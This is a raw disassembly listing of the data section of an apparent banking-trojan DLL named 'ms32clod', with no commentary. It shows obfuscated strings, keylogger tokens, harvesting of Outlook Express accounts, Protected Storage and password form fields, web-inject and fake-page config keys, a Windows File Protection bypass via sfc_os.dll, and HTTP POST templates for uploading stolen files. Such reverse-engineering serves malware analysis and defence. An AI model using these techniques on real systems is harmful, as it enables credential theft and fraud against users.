off_10022104	dd offset aEs		; DATA XREF: .text:loc_10004D04r
					; sub_10004DAA:loc_10004F7Cr
					; "<es>"
; LPCSTR lpchText
lpchText	dd offset aCl		; DATA XREF: sub_100050D9+1E1r
					; "<cl>"
off_1002210C	dd offset aEnter	; DATA XREF: .text:loc_10004BB9r
					; "<enter>"
dword_10022110	dd 0FFFFFFFFh						; sub_10003786+FEr ...
; int off_10022114
off_10022114	dd offset aAb0cdef1gh2ij3 ; DATA XREF: .text:10005B17r
					; StartAddress+172r ...
					; "ab0cdef1gh2ij3kl4mno5pqr6stu7vw8xyz9"
dword_10022118	dd 0CAFAF4E8h, 99hdword_10022120	dd 0E1F3FAE6h, 0F0E7F4E2h, 0D6DCF8E9h, 0DAC6DAC7h, 0E2E9C1D3h
					; DATA XREF: .data:off_10022034o
		dd 0DAD1DBDCh, 0F6E9C6C2h, 0D0C7C7C0h, 0D0E3C1DBh, 0DADCC6C7h
		dd 0CDF0E9DBh, 0C7DAD9C5h, 0F7E9C7D0h, 0C6C2DAC7h, 0FD95C7D0h
		dd 0D0C5D9D0h, 0D7FA95C7h, 0C1D6D0DFh, 0C6h
dword_1002216C	dd 0E1F3FAE6h, 0F0E7F4E2h, 0D6DCF8E9h, 0DAC6DAC7h, 0E2E9C1D3h
					; DATA XREF: .data:off_10022038o
		dd 0DAD1DBDCh, 0FB95C6C2h, 0C0F6E9E1h, 0DBD0C7C7h, 0C7D0E3C1h
		dd 0DBDADCC6h, 0DBDCE2E9h, 0C6C2DAD1h, 0
dword_100221A4	dd 0FCC5C5F4h, 0EAC1DCDBh, 0C6F9F9F1h, 0dword_100221B4	dd 0C1D3DAE6h, 0D0C7D4C2h, 0D6DCF8E9h, 0DAC6DAC7h, 0E2E9C1D3h
					; DATA XREF: .data:off_10022044o
		dd 0DAD1DBDCh, 0F6E9C6C2h, 0D0C7C7C0h, 0D0E3C1DBh, 0DADCC6C7h
		dd 0E6F8E9DBh, 0C1DBDAF6h, 0C6D9DAC7h, 0
dword_100221EC	dd 0E1F3FAE6h, 0F0E7F4E2h, 0D6DCF8E9h, 0DAC6DAC7h, 0E2E9C1D3h
					; DATA XREF: .data:off_10022048o
		dd 0DAD1DBDCh, 0FB95C6C2h, 0C0F6E9E1h, 0DBD0C7C7h, 0C7D0E3C1h
		dd 0DBDADCC6h, 0DBDCE2E9h, 0DAD2DAD9h, 0DBh
dword_10022224	dd 0F1F6F3E6h, 0D7D4C6DCh, 0D0D9haJIKI		db 'šÏ†šÅ›ÅÝŊ؈',0     ; DATA XREF: .data:off_10022050o
		align 10h
aJIKI_0		db 'šÏ†šÒ›ÅÝŊĈ',0     ; DATA XREF: .data:10022054o
		align 10h
dword_10022250	dd 0DAC5CDF0h, 0D0E6C1C7h, 0C1C7haI		db 'ÅÆÁ›ÑÔÁ',0          ; DATA XREF: .data:off_1002205Co
aI_0		db 'ÜÆÁ›ÑÔÁ',0          ; DATA XREF: .data:off_10022060o
dword_1002226C	dd 0D9D0DDE6h, 0D0CDF0D9h, 0D0C1C0D6h, 0F4haSI		db 'éÖØ›ÑÔÁ',0          ; DATA XREF: .data:off_10022068o
aSI_0		db 'éÅÇÁ›ÑÔÁ',0         ; DATA XREF: .data:off_1002206Co
		align 10h
aPss		db 'ÖééÛÁÙÑÇ',0        ; DATA XREF: .data:off_10022070o
		align 4
aPssI		db 'Öéé×ÚÚÁ›ÜÛÜ',0     ; DATA XREF: .data:off_10022074o
		align 4
aMjgni		db 'ÅÐÇÓÏŒ†ƒ›ÑÔÁ',0    ; DATA XREF: .data:off_10022078o
		align 4
aSGavji		db 'éÅÐÇÓÖƒ€‚†›ÑÔÁ',0   ; DATA XREF: .data:off_1002207Co
		align 4
aSVgnji		db 'éÅÐÇÓÖ‚ƒ†›ÑÔÁ',0   ; DATA XREF: .data:off_10022080o
		align 4
aI_1		db 'ÅÆÁÚÇÐÖ›ÑÙÙ',0      ; DATA XREF: .data:off_10022084o
dword_100222E8	dd 0FCE6F9F6h, 0F1CEE9F1h, 8CF186F6h, 9886F0F0h, 8185868Dh
					; DATA XREF: .data:10022088o
		dd 87878198h, 0F1F4988Dh, 879887F6h, 85F18186h,	0F0F38086h
		dd 0C88C8DF7h, 0C5DBFCE9h, 0E6D6DAC7h, 0D0C3C7D0h, 8786C7h
aI_2		db 'ÂÜÛÜÛÐÁ›ÑÙÙ',0      ; DATA XREF: .data:off_1002208Co
dword_10022330	dd 0D0C1DBFCh, 0C1D0DBC7h, 0F6C1D0F2h, 0D0DBDBDAh, 0D1D0C1D6h
					; DATA XREF: .data:off_10022090o
		dd 0C1D4C1E6h, 0D0h
aDIKI		db 'šÅ„šÒ›ÅÝÅŠÜш',0    ; DATA XREF: .data:off_10022094o
		align 4
dword_1002235C	dd 0F9E6F1h	dword_10022360	dd 0FBF4F9h	asc_10022364	db 'ÙÜÆÁÐÛ',0           ; DATA XREF: .data:off_100220A0o
		align 4
dword_1002236C	dd 0E1E6ECE6h, 0F6E9F8F0h, 0D0C7C7C0h, 0DAF6C1DBh, 0DAC7C1DBh
					; DATA XREF: .data:off_100220A4o
		dd 0C1D0E6D9h, 0C7D0E6E9h, 0D0D6DCC3h, 0DDE6E9C6h, 0D1D0C7D4h
		dd 0D0D6D6F4h, 0E5E9C6C6h, 0D8D4C7D4h, 0C7D0C1D0h, 0DCF3E9C6h
		dd 0D4C2D0C7h, 0DAE5D9D9h, 0CCD6DCD9h, 0D4C1E6E9h, 0C7D4D1DBh
		dd 0DAC7E5D1h, 0D0D9DCD3h, 0C1C0F4E9h, 0DCC7DADDh, 0F4D1D0CFh
		dd 0DCD9C5C5h, 0DCC1D4D6h, 0E9C6DBDAh, 0C1C6DCF9h, 0
aRRsI		db 'ÂÜÛÑÜÇéÐÍÅÙÚÇÐÇ›ÐÍÐ',0 ; DATA XREF: .data:off_100220A8o
		align 4
dword_100223FC	dd 0DBDCC290h, 90C7DCD1h, 0C5CDD0E9h, 0D0C7DAD9h, 0CDD09BC7h
					; DATA XREF: .data:off_100220ACo
		dd 8F9F8FD0h, 0D7D4DBF0h, 8FD1D0D9h, 0D9C5CDF0h, 0C7D0C7DAh
		dd 0
dword_10022428	dd 0E1E6ECE6h, 0F6E9F8F0h, 0D0C7C7C0h, 0DAF6C1DBh, 0DAC7C1DBh
					; DATA XREF: .data:off_100220B0o
		dd 0C1D0E6D9h, 0C7D0E6E9h, 0D0D6DCC3h, 0DDE6E9C6h, 0D1D0C7D4h
		dd 0D0D6D6F4h, 0E5E9C6C6h, 0D8D4C7D4h, 0C7D0C1D0h, 0DCF3E9C6h
		dd 0D4C2D0C7h, 0DAE5D9D9h, 0CCD6DCD9h, 0D4C1E6E9h, 0C7D4D1DBh
		dd 0DAC7E5D1h, 0D0D9DCD3h, 0DAD9F2E9h, 0D9D9D4D7h, 0D0C5FACCh
		dd 0C7DAE5DBh, 0F9E9C6C1h, 0C1C6DCh
dword_10022498	dd 0F08F9F8Fh, 0D9D7D4DBh, 0C58FD1D0h, 0C1C7DAh
					; DATA XREF: .data:off_100220B4o
aIQiQiQiDzqiQiD	db '›ÅÓÍŸ›ÖÐÇŸ›ÖÇÁŸ›Å„‡Ÿ›ÆÅÖŸ›Å„‡Ÿ›ÆÁÙŸ›ÖÇÙŸ›Å‚×',0
					; DATA XREF: .data:off_100220B8o
		align 4
dword_100224D8	dd 0C1C7D0F6h, 0DCC7E595h, 0D0C1D4C3h, 95CCD0FEh, 0C6C6D4C5h
					; DATA XREF: .data:off_100220BCo
		dd 0D1C7DAC2h, 0
aSAmjzi		db 'éÅÐÇÓÖ€Œ†‡›ÑÔÁ',0   ; DATA XREF: .data:off_100220C0o
		align 4
dword_10022504	dd 0C1D3DAE6h, 0D0C7D4C2h, 0D6DCF8E9h, 0DAC6DAC7h, 0E2E9C1D3h
					; DATA XREF: .data:off_100220C4o
		dd 0DAD1DBDCh, 0F6E9C6C2h, 0D0C7C7C0h, 0D0E3C1DBh, 0DADCC6C7h
		dd 0DBFCE9DBh, 0DBC7D0C1h, 0E695C1D0h, 0DCC1C1D0h, 0C6D2DBh
aSSS_0		db 'éÑÇÜÃÐÇÆéÐÁÖéÝÚÆÁÆ',0 ; DATA XREF: .data:off_100220C8o
		align 4
aI_3		db 'ÏÔÜÞÚÑ›ÖÛ',0        ; DATA XREF: .data:off_100220CCo
		align 10h
aI_4		db 'ßÜÑÇÞÔ›ÖÛ',0        ; DATA XREF: .data:off_100220D0o
		align 4
aData_before	db 'data_before',0      ; DATA XREF: .data:SubStro
aData_inject	db 'data_inject',0      ; DATA XREF: .data:100220D8o
aData_after	db 'data_after',0       ; DATA XREF: .data:100220DCo
		align 10h
aData_end	db 'data_end',0         ; DATA XREF: .data:100220E0o
		align 4
aTb		db '<tb>',0             ; DATA XREF: .data:lpString2o
		align 4
aBs		db '<bs>',0             ; DATA XREF: .data:off_100220F8o
		align 4
aDl		db '<dl>',0             ; DATA XREF: .data:off_100220FCo
		align 4
aSp		db '<sp>',0             ; DATA XREF: .data:off_10022100o
		align 4
aEs		db '<es>',0             ; DATA XREF: .data:off_10022104o
		align 4
aCl		db '<cl>',0             ; DATA XREF: .data:lpchTexto
		align 4
aEnter		db '<enter>',0          ; DATA XREF: .data:off_1002210Co
aAb0cdef1gh2ij3	db 'ab0cdef1gh2ij3kl4mno5pqr6stu7vw8xyz9',0 ; DATA XREF: .data:off_10022114o
		align 4
a?		db '\/:*"<>|?',0        ; DATA XREF: sub_1000116E+6o
		align 4
asc_10022608	db 0Dh,0Ah,0		; DATA XREF: .text:10001575o
		align 4
; char ModuleName[]
ModuleName	db 'ms32clod',0         ; DATA XREF: sub_100015CE+6Co
		align 4
; char aSet_url[]
aSet_url	db 'set_url ',0         ; DATA XREF: sub_100015CE:loc_100017C0o
		align 4
; char Str2[]
Str2		db 'Internet Explorer_Server',0 ; DATA XREF: sub_10001D30+1Fo
		align 10h
aIeframe	db 'IEFrame',0          ; DATA XREF: .text:10001DAEo
; char aIeframe_0[]
aIeframe_0	db 'IEFrame',0          ; DATA XREF: sub_10001DE0+75o
; char String2[]
String2		db 'msctls_statusbar32',0 ; DATA XREF: sub_10001DE0:loc_10001E79o
		align 4
; char aEdit[]
aEdit		db 'Edit',0             ; DATA XREF: sub_10001DE0:loc_10001EC8o
		align 4
; char aMsctls_statu_0[]
aMsctls_statu_0	db 'msctls_statusbar32',0 ; DATA XREF: sub_10001F5B+1Fo
		align 10h
; char aEdit_0[]
aEdit_0		db 'Edit',0             ; DATA XREF: sub_10001F5B:loc_10001FCCo
		align 4
aIeframe_1	db 'IEFrame',0          ; DATA XREF: .text:10002079o
; char SubKey[]
SubKey		db 'SOFTWARE\Microsoft\Internet Account Manager\Accounts',0
					; DATA XREF: sub_100020B5+2Co
		align 4
; char aOutlookExpress[]
aOutlookExpress	db '----------Outlook Express record---------',0Ah,0
					; DATA XREF: sub_100020B5+1A7o
		align 4
; char Format[]
Format		db '%s = %ws',0Ah,0     ; DATA XREF: sub_100020B5+220o
		align 10h
; char aSS[]
aSS		db '%s = %s',0Ah,0      ; DATA XREF: sub_100020B5+245o
		align 4
; char aSD[]
aSD		db '%s = %d',0Ah,0      ; DATA XREF: sub_100020B5+2AFo
		align 4
; char aName[]
aName		db 'Name',0             ; DATA XREF: sub_100020B5:loc_10002379o
		align 10h
; char aEmail[]
aEmail		db 'Email',0            ; DATA XREF: sub_100020B5+2DDo
		align 4
; char aServer[]
aServer		db 'Server',0           ; DATA XREF: sub_100020B5+2F6o
		align 10h
; char aPort[]
aPort		db 'Port',0             ; DATA XREF: sub_100020B5+30Fo
		align 4
; char aPsItem[]
aPsItem		db '---------------PS item------------',0Ah,0 ; DATA XREF: sub_100020B5+35Fo
; char ProcName[]
ProcName	db 'PStoreCreateInstance',0 ; DATA XREF: sub_100020B5+398o
		align 4
; char aItemnameWs[]
aItemnameWs	db 'itemName = %ws',0Ah,0 ; DATA XREF: sub_100020B5+53Ao
; char aItemdataWs[]
aItemdataWs	db 'itemData = %ws',0Ah,0 ; DATA XREF: sub_100020B5+5E4o
; char aItemdataS[]
aItemdataS	db 'itemData = %s',0Ah,0 ; DATA XREF: sub_100020B5+602o
		align 4
a0123456789abcd	db '0123456789abcdef',0 ; DATA XREF: sub_10002881+6o
		align 4
; char asc_100227B8[]
asc_100227B8:				; DATA XREF: sub_1000291D+7Do
		unicode	0, <\>,0
aMs32clod_0	db 'ms32clod',0         ; DATA XREF: sub_1000291D:loc_10002A18o
		align 4
; char aCS_log[]
aCS_log		db 'c:\%s.log',0        ; DATA XREF: sub_1000291D+100o
		align 4
; wchar_t aImageJpeg
aImageJpeg:				; DATA XREF: TimerFunc+10Eo
		unicode	0, <image/jpeg>,0
		align 4
; const	WCHAR aSHs_D_tmp
aSHs_D_tmp:				; DATA XREF: TimerFunc+1CEo
		unicode	0, <%s%hs_%d.tmp>,0
		align 4
; char aSS_0[]
aSS_0		db '%s%s',0             ; DATA XREF: TimerFunc+2F7o
		align 10h
; char aS__S_jpg[]
aS__S_jpg	db '%s__%s.jpg',0       ; DATA XREF: TimerFunc+3B6o
		align 4
; char aMs32clod_1[]
aMs32clod_1	db 'ms32clod',0         ; DATA XREF: sub_10003460+4o
		align 4
; char LibFileName[]
LibFileName	db 'OLEACC.DLL',0       ; DATA XREF: sub_10003645+10o
		align 4
; char aWm_html_getobj[]
aWm_html_getobj	db 'WM_HTML_GETOBJECT',0 ; DATA XREF: sub_10003645+32o
		align 4
; char aObjectfromlres[]
aObjectfromlres	db 'ObjectFromLresult',0 ; DATA XREF: sub_10003645:loc_100036B5o
		align 4
a626fc520A41e11:			; DATA XREF: sub_10003645+A4o
		unicode	0, <{626fc520-a41e-11cf-a731-00a0c9082637}>,0
		align 4
; char asc_100228AC[]
asc_100228AC:				; DATA XREF: sub_10003786+11Eo
		unicode	0, <,>,0
; char asc_100228B0[]
asc_100228B0:				; DATA XREF: sub_10003786+159o
		unicode	0, <,>,0
; char asc_100228B4[]
asc_100228B4:				; DATA XREF: sub_10003786+191o
		unicode	0, <,>,0
; char MultiByteStr[]
MultiByteStr	db 'password',0         ; DATA XREF: sub_10003786:loc_10003B9Eo
		align 4
; char aText[]
aText		db 'text',0             ; DATA XREF: sub_10003786+42Co
		align 4
; char aHidden[]
aHidden		db 'hidden',0           ; DATA XREF: sub_10003786+440o
		align 4
; char aSubmit[]
aSubmit		db 'submit',0           ; DATA XREF: sub_10003786+454o
		align 4
; char aButton[]
aButton		db 'button',0           ; DATA XREF: sub_10003786+468o
		align 4
; char aImage[]
aImage		db 'image',0            ; DATA XREF: sub_10003786+47Co
		align 4
; char asc_100228EC[]
asc_100228EC:				; DATA XREF: sub_10003786+E20o
		unicode	0, <=>,0
; char asc_100228F0[]
asc_100228F0:				; DATA XREF: sub_10003786+F54o
		unicode	0, <l>,0
; char aD[]
aD:					; DATA XREF: sub_10003786:loc_1000475Ao
		unicode	0, <d>,0
; char asc_100228F8[]
asc_100228F8	db 0Dh,0Ah,0		; DATA XREF: sub_10003786:loc_100047DFo
		align 4
; char aInternetExpl_0[]
aInternetExpl_0	db 'Internet Explorer_Server',0 ; DATA XREF: sub_10004960+6Bo
		align 4
aInternetExpl_1	db 'Internet Explorer_Server',0 ; DATA XREF: .text:10004C3Eo
		align 4
; char aHttp[]
aHttp		db 'http://',0          ; DATA XREF: sub_100050D9+C0o
; char asc_1002293C[]
asc_1002293C	db '://',0              ; DATA XREF: sub_100050D9+D7o
; char aD_0[]
aD_0		db '%d',0               ; DATA XREF: sub_100050D9+240o
		align 4
; char aMs32clod_2[]
aMs32clod_2	db 'ms32clod',0         ; DATA XREF: sub_1000537C+15Do
		align 10h
; char aMs32clod_3[]
aMs32clod_3	db 'ms32clod',0         ; DATA XREF: sub_1000537C+1A0o
		align 4
; char aSfc_os_dll[]
aSfc_os_dll	db 'sfc_os.dll',0       ; DATA XREF: sub_1000559C+25o
		align 4
; char asc_10022968[]
asc_10022968	db '**',0               ; DATA XREF: sub_100055F0:loc_100056BEo
		align 4
; char Name[]
Name		db 'SeShutdownPrivilege',0 ; DATA XREF: sub_1000579B+1Do
aSS_1		db '%s\%s',0            ; DATA XREF: .text:10005853o
		align 4
a83f89d33c040a3	db '83f89d****33c040a3',0 ; DATA XREF: .text:loc_10005915o
		align 4
a83f89d8bc6a3	db '83f89d****8bc6a3',0 ; DATA XREF: .text:loc_1000595Bo
		align 10h
aSfc_os_	db 'sfc_os.',0          ; DATA XREF: .text:loc_10005994o
a83f89d33c040_0	db '83f89d****33c040a3',0 ; DATA XREF: .text:100059B1o
		align 4
a83f89d8bc6a3_0	db '83f89d****8bc6a3',0 ; DATA XREF: .text:loc_100059FDo
		align 10h
a838dFfff20	db '838d****ffff20',0   ; DATA XREF: .text:loc_10005A3Fo
		align 10h
a834d20		db '834D**20',0         ; DATA XREF: .text:loc_10005A8Bo
		align 4
aSDllcacheS	db '%s\dllcache\%s',0   ; DATA XREF: .text:10005AE0o
		align 4
a_tmp		db '.tmp',0             ; DATA XREF: .text:10005B2Ao
		align 4
aSS_2		db '%s\%s',0            ; DATA XREF: .text:10005B46o
		align 4
; char aGetSHttp1_0Acc[]
aGetSHttp1_0Acc	db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_10005E66+227o
		db 'Accept: */*',0Dh,0Ah
		db 'Host: %s',0Dh,0Ah
		db 'Cache-Control: no-cache',0Dh,0Ah,0
		align 10h
; char asc_10022A60[]
asc_10022A60	db 0Dh,0Ah,0		; DATA XREF: sub_10005E66:loc_100060B5o
		align 4
; char aHttp1_1200Ok[]
aHttp1_1200Ok	db 'HTTP/1.1 200 OK',0  ; DATA XREF: sub_10005E66:loc_10006207o
; char asc_10022A74[]
asc_10022A74	db 0Dh,0Ah		; DATA XREF: sub_10005E66+3BEo
		db 0Dh,0Ah,0
		align 4
; char aContentLength[]
aContentLength	db 'Content-Length: ',0 ; DATA XREF: sub_10005E66+3D9o
		align 10h
; char asc_10022A90[]
asc_10022A90	db 0Dh,0Ah,0		; DATA XREF: sub_10005E66+400o
		align 4
; char aS[]
aS		db '---------------------------%s',0 ; DATA XREF: StartAddress+18Fo
		align 4
; char aSContentDispos[]
aSContentDispos	db '--%s',0Dh,0Ah       ; DATA XREF: StartAddress+3A3o
		db 'Content-Disposition: form-data; name="userfile"; filename="%s"',0Dh,0Ah
		db 'Content-Type: application/octet-stream',0Dh,0Ah
		db 'Content-Transfer-Encoding: binary',0Dh,0Ah
		db 0Dh,0Ah,0
; char aS_0[]
aS_0		db 0Dh,0Ah		; DATA XREF: StartAddress+3BCo
		db '--%s--',0Dh,0Ah,0
		align 4
; char aPostSHttp1_1Ac[]
aPostSHttp1_1Ac	db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: StartAddress+47Fo
		db 'Accept: */*',0Dh,0Ah
		db 'Content-Type: multipart/form-data; boundary=%s',0Dh,0Ah
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 'Connection: Keep-Alive',0Dh,0Ah
		db 'Cache-Control: no-cache',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
; char asc_10022BF8[]
asc_10022BF8	db 0Dh,0Ah		; DATA XREF: StartAddress:loc_10006C17o
		db 0Dh,0Ah,0
		align 10h
; char aMs32clod_4[]
aMs32clod_4	db 'ms32clod',0         ; DATA XREF: StartAddress+72Bo
		align 4
; char asc_10022C0C[]
asc_10022C0C	db 0Dh,0Ah		; DATA XREF: StartAddress:loc_10006D5Do
		db 0Dh,0Ah,0
		align 4
; char a_[]
a_:					; DATA XREF: sub_10006FD3+5Eo
		unicode	0, <.>,0
; char a__0[]
a__0:					; DATA XREF: sub_10006FD3+7Co
		unicode	0, <.>,0
; char aS_[]
aS_		db '%s\*.*',0           ; DATA XREF: sub_100071C0+22o
		align 4
; char a__1[]
a__1:					; DATA XREF: sub_100071C0+8Ao
		unicode	0, <.>,0
; char a__[]
a__		db '..',0               ; DATA XREF: sub_100071C0+A4o
		align 4
; char aSS_3[]
aSS_3		db '%s\%s',0            ; DATA XREF: sub_100071C0+FAo
		align 4
; char aSS_4[]
aSS_4		db '%s\%s',0            ; DATA XREF: sub_100071C0+209o
		align 4
; char aS__0[]
aS__0		db '%s\*.*',0           ; DATA XREF: sub_1000741F+7Eo
		align 4
; char a__2[]
a__2:					; DATA XREF: sub_1000741F+DEo
		unicode	0, <.>,0
; char a___0[]
a___0		db '..',0               ; DATA XREF: sub_1000741F+F8o
		align 4
; char aSS_5[]
aSS_5		db '%s\%s',0            ; DATA XREF: sub_1000741F+14Eo
		align 4
; char aSS_6[]
aSS_6		db '%s\%s',0            ; DATA XREF: sub_1000741F+202o
		align 4
; char aS[]
aS__S		db '%s__%s',0           ; DATA XREF: sub_1000741F+30Eo
		align 4
; char a_sol[]
a_sol		db '.sol',0             ; DATA XREF: sub_1000741F+330o
		align 4
; char aS__SS[]
aS__SS		db '%s__%s&&%s',0       ; DATA XREF: sub_1000741F+35Co
		align 4
asc_10022C78	db 0Dh,0Ah,0		; DATA XREF: sub_1000741F+440o
		align 4
; char aS__S_file[]
aS__S_file	db '%s__%s.file',0      ; DATA XREF: sub_1000741F+563o
; char a_sol_0[]
a_sol_0		db '.sol',0             ; DATA XREF: sub_1000741F+585o
		align 10h
; char aS__SS_0[]
aS__SS_0	db '%s__%s&&%s',0       ; DATA XREF: sub_1000741F+5B1o
		align 4
asc_10022C9C	db 0Dh,0Ah,0		; DATA XREF: sub_1000741F+697o
		align 10h
; char aS__1[]
aS__1		db '%s\*.*',0           ; DATA XREF: sub_10007B34+4Bo
		align 4
; char a__3[]
a__3:					; DATA XREF: sub_10007B34+B3o
		unicode	0, <.>,0
; char a___1[]
a___1		db '..',0               ; DATA XREF: sub_10007B34+CDo
		align 10h
; char aSS_7[]
aSS_7		db '%s\%s',0            ; DATA XREF: sub_10007B34+123o
		align 4
; char aSS_8[]
aSS_8		db '%s\%s',0            ; DATA XREF: sub_10007B34+1C9o
		align 10h
; char aS__S_0[]
aS__S_0		db '%s__%s',0           ; DATA XREF: sub_10007B34+2D4o
		align 4
; char a_sol_1[]
a_sol_1		db '.sol',0             ; DATA XREF: sub_10007B34+2F5o
		align 10h
; char aS__SS_1[]
aS__SS_1	db '%s__%s&&%s',0       ; DATA XREF: sub_10007B34+321o
		align 4
; char aSHlst_tmp[]
aSHlst_tmp	db '%s\hlst.tmp',0      ; DATA XREF: sub_10007B34+3B6o
asc_10022CE8	db 0Dh,0Ah,0		; DATA XREF: sub_10007B34+438o
		align 4
; char aS__S_1[]
aS__S_1		db '%s__%s',0           ; DATA XREF: sub_10007B34+565o
		align 4
; char a_sol_2[]
a_sol_2		db '.sol',0             ; DATA XREF: sub_10007B34+586o
		align 4
; char aS__SS_2[]
aS__SS_2	db '%s__%s&&%s',0       ; DATA XREF: sub_10007B34+5B2o
		align 4
; char aSHlst_tmp_0[]
aSHlst_tmp_0	db '%s\hlst.tmp',0      ; DATA XREF: sub_10007B34+647o
asc_10022D14	db 0Dh,0Ah,0		; DATA XREF: sub_10007B34+6C9o
		align 4
; char aMs32clod_5[]
aMs32clod_5	db 'ms32clod',0         ; DATA XREF: sub_1000878F+45o
		align 4
; char aConfig[]
aConfig		db 'config',0           ; DATA XREF: sub_1000878F+9Co
		align 4
aNotifyes	db 'notifyes',0         ; DATA XREF: sub_1000878F+FAo
		align 4
aNotify		db 'notify',0           ; DATA XREF: sub_1000878F+142o
		align 10h
aUrl		db 'url',0              ; DATA XREF: sub_1000878F+1A4o
aNotify_0	db 'notify',0           ; DATA XREF: sub_1000878F+1ADo
		align 4
aThreadmasks	db 'threadmasks',0      ; DATA XREF: sub_1000878F+200o
aThreadmask	db 'threadmask',0       ; DATA XREF: sub_1000878F+248o
		align 4
aMask		db 'mask',0             ; DATA XREF: sub_1000878F+2AAo
		align 4
aThreadmask_0	db 'threadmask',0       ; DATA XREF: sub_1000878F+2B3o
		align 4
aWhat		db 'what',0             ; DATA XREF: sub_1000878F+2FFo
		align 10h
aThreadmask_1	db 'threadmask',0       ; DATA XREF: sub_1000878F+308o
		align 4
aReplaces	db 'replaces',0         ; DATA XREF: sub_1000878F+35Bo
		align 4
aReplace	db 'replace',0          ; DATA XREF: sub_1000878F+3A3o
aItem		db 'item',0             ; DATA XREF: sub_1000878F+405o
		align 4
aReplace_0	db 'replace',0          ; DATA XREF: sub_1000878F+40Eo
aWhat_0		db 'what',0             ; DATA XREF: sub_1000878F+45Ao
		align 4
aReplace_1	db 'replace',0          ; DATA XREF: sub_1000878F+463o
aInjects	db 'injects',0          ; DATA XREF: sub_1000878F+4B6o
aInject		db 'inject',0           ; DATA XREF: sub_1000878F+4FEo
		align 10h
aUrl_0		db 'url',0              ; DATA XREF: sub_1000878F+560o
aInject_0	db 'inject',0           ; DATA XREF: sub_1000878F+569o
		align 4
aBefore		db 'before',0           ; DATA XREF: sub_1000878F+5B5o
		align 4
aInject_1	db 'inject',0           ; DATA XREF: sub_1000878F+5BEo
		align 4
aWhat_1		db 'what',0             ; DATA XREF: sub_1000878F+60Co
		align 4
aInject_2	db 'inject',0           ; DATA XREF: sub_1000878F+615o
		align 4
aBlock		db 'block',0            ; DATA XREF: sub_1000878F+663o
		align 4
aInject_3	db 'inject',0           ; DATA XREF: sub_1000878F+66Co
		align 4
aCheck		db 'check',0            ; DATA XREF: sub_1000878F+6BAo
		align 4
aInject_4	db 'inject',0           ; DATA XREF: sub_1000878F+6C3o
		align 4
aQuan		db 'quan',0             ; DATA XREF: sub_1000878F+711o
		align 4
aInject_5	db 'inject',0           ; DATA XREF: sub_1000878F+71Ao
		align 4
aContent	db 'content',0          ; DATA XREF: sub_1000878F+768o
aInject_6	db 'inject',0           ; DATA XREF: sub_1000878F+771o
		align 4
aT:					; DATA XREF: sub_1000878F+7BFo
		unicode	0, <t>,0
aInject_7	db 'inject',0           ; DATA XREF: sub_1000878F+7C8o
		align 4
aType		db 'type',0             ; DATA XREF: sub_1000878F+816o
		align 10h
aInject_8	db 'inject',0           ; DATA XREF: sub_1000878F+81Fo
		align 4
aNotify_1	db 'notify',0           ; DATA XREF: sub_1000878F+86Do
		align 10h
aInject_9	db 'inject',0           ; DATA XREF: sub_1000878F+876o
		align 4
aGlobal		db 'global',0           ; DATA XREF: sub_1000878F+8C9o
		align 10h
aTime		db 'time',0             ; DATA XREF: sub_1000878F+917o
		align 4
aTest		db 'test',0             ; DATA XREF: sub_1000878F+963o
		align 10h
aFeeds		db 'feeds',0            ; DATA XREF: sub_1000878F+9B8o
		align 4
aFeed		db 'feed',0             ; DATA XREF: sub_1000878F+A00o
		align 10h
aUrl_1		db 'url',0              ; DATA XREF: sub_1000878F+A32o
aFeed_0		db 'feed',0             ; DATA XREF: sub_1000878F+A3Bo
		align 4
aFps		db 'fps',0              ; DATA XREF: sub_1000878F+A85o
aFp		db 'fp',0               ; DATA XREF: sub_1000878F+ACDo
		align 4
aFp_0		db 'fp',0               ; DATA XREF: sub_1000878F+B05o
		align 4
aHlsts		db 'hlsts',0            ; DATA XREF: sub_1000878F+B4Fo
		align 10h
aHlst		db 'hlst',0             ; DATA XREF: sub_1000878F+B97o
		align 4
aHlst_0		db 'hlst',0             ; DATA XREF: sub_1000878F+BCFo
		align 10h
; char aC[]
aC		db '%c:\',0             ; DATA XREF: sub_1000878F+DD9o
		align 4
; char aC?[]
aC?		db '%c:?',0             ; DATA XREF: sub_1000878F+E1Bo
		align 10h
aLimits		db 'limits',0           ; DATA XREF: sub_1000878F+E88o
		align 4
aNum		db 'num',0              ; DATA XREF: sub_1000878F+EF4o
aInject_10	db 'inject',0           ; DATA XREF: sub_1000878F+EFBo
		align 4
aRep		db 'rep',0              ; DATA XREF: sub_1000878F+F3Fo
aInject_11	db 'inject',0           ; DATA XREF: sub_1000878F+F46o
		align 10h
aNum_0		db 'num',0              ; DATA XREF: sub_1000878F+FADo
aScsh		db 'scsh',0             ; DATA XREF: sub_1000878F+FB4o
		align 4
aRep_0		db 'rep',0              ; DATA XREF: sub_1000878F+FF6o
aScsh_0		db 'scsh',0             ; DATA XREF: sub_1000878F+FFDo
		align 4
aNum_1		db 'num',0              ; DATA XREF: sub_1000878F+1065o
aGp		db 'gp',0               ; DATA XREF: sub_1000878F+106Co
		align 10h
aRep_1		db 'rep',0              ; DATA XREF: sub_1000878F+10AEo
aGp_0		db 'gp',0               ; DATA XREF: sub_1000878F+10B5o
		align 4
aFakes		db 'fakes',0            ; DATA XREF: sub_1000878F+10FAo
		align 10h
aFake		db 'fake',0             ; DATA XREF: sub_1000878F+1142o
		align 4
aUrl_2		db 'url',0              ; DATA XREF: sub_1000878F+11A4o
aFake_0		db 'fake',0             ; DATA XREF: sub_1000878F+11ADo
		align 4
aParam		db 'param',0            ; DATA XREF: sub_1000878F+11F9o
		align 4
aFake_1		db 'fake',0             ; DATA XREF: sub_1000878F+1202o
		align 4
aItem1		db 'item1',0            ; DATA XREF: sub_1000878F+1250o
		align 4
aFake_2		db 'fake',0             ; DATA XREF: sub_1000878F+1259o
		align 4
aItem2		db 'item2',0            ; DATA XREF: sub_1000878F+12A7o
		align 4
aFake_3		db 'fake',0             ; DATA XREF: sub_1000878F+12B0o
		align 4
aType_0		db 'type',0             ; DATA XREF: sub_1000878F+12FEo
		align 4
aFake_4		db 'fake',0             ; DATA XREF: sub_1000878F+1307o
		align 4
aRtype		db 'rtype',0            ; DATA XREF: sub_1000878F+1355o
		align 4
aFake_5		db 'fake',0             ; DATA XREF: sub_1000878F+135Eo
		align 4
aScshs		db 'scshs',0            ; DATA XREF: sub_1000878F+13B1o
		align 4
aScsh_1		db 'scsh',0             ; DATA XREF: sub_1000878F+13F9o
		align 4
